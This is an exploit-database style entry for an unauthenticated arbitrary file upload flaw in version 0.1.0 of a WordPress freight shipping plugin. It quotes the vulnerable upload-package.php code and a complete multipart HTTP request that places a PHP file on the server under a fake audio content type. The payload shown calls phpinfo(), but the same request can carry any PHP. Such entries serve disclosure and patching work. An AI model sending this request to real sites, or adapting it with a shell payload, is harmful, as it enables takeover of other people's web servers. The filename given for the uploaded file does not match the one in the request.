WordPress Plugin Baggage Freight Shipping Australia 0.1.0 – Arbitrary File Upload
# Exploit Title: WordPress Plugin Baggage Freight Shipping Australia 0.1.0 - Arbitrary File Upload # Date: 2018-12-24 # Software Link: https://wordpress.org/plugins/baggage-freight/ # Exploit Author: Kaimi # Website: https://kaimi.io # Version: 0.1.0 # Category: webapps # Unrestricted file upload for unahtorized user in package info upload # process allowing arbitrary extension. File: upload-package.php Vulnerable code: if($_POST["submit"]) { if ($_FILES["file"]) { $uploadpath = "../wp-content/plugins/baggage_shipping/upload/".time()."_".$_FILES["file"]["name"]; move_uploaded_file($_FILES["file"]["tmp_name"],$uploadpath); # Exploitation example: POST /wp-content/plugins/baggage-freight/upload-package.php HTTP/1.1 Host: example.com Content-Type: multipart/form-data; boundary=---------------------------18311719029180117571501079851 ... -----------------------------18311719029180117571501079851 Content-Disposition: form-data; name="submit" 1 -----------------------------18311719029180117571501079851 Content-Disposition: form-data; name="file"; filename="file.php" Content-Type: audio/wav <?php phpinfo(); -----------------------------18311719029180117571501079851-- # Uploaded file will be located at /wp-content/plugins/baggage_shipping/upload/{timestamp}_info.php. |